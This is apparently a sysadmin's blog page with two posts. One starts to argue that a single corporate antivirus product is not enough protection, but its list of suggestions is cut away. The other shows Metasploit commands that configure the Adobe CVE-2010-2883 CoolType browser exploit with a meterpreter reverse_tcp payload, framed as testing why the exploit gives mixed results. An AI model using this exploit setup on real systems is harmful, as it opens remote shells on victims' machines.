Foolish Reliance On AntiVirus Software

I recently received an email from another Sys Admin pushing the idea of a single corporate  Anti Virus Solution and the importance of getting it in place ASAP and having a single Management console for Reporting, Management etc etc.

Now knowing what I know about this guys company I had to compile a little list of things he might think about or consider implementing before he puts all his eggs in this really rather ‘hole’ y basket.

As far as I know this guys company has few if any of the following suggestions or security polices in place, and I’m sure this is true of many companies in the world.

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New Adobe 0day – CVE-2010-2883

Having read that some folks have had mixed results with the Metasploit exploit, I decided I would try and find some reason why.

I started out by running up Metasploit and setting up the exploit

msf > use exploit/windows/browser/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.0.79
LHOST => 192.168.0.79
msf exploit(adobe_cooltype_sing) > set SRVHOST 192.168.0.79
SRVHOST => 192.168.0.79
msf exploit(adobe_cooltype_sing) > show options

Module options:

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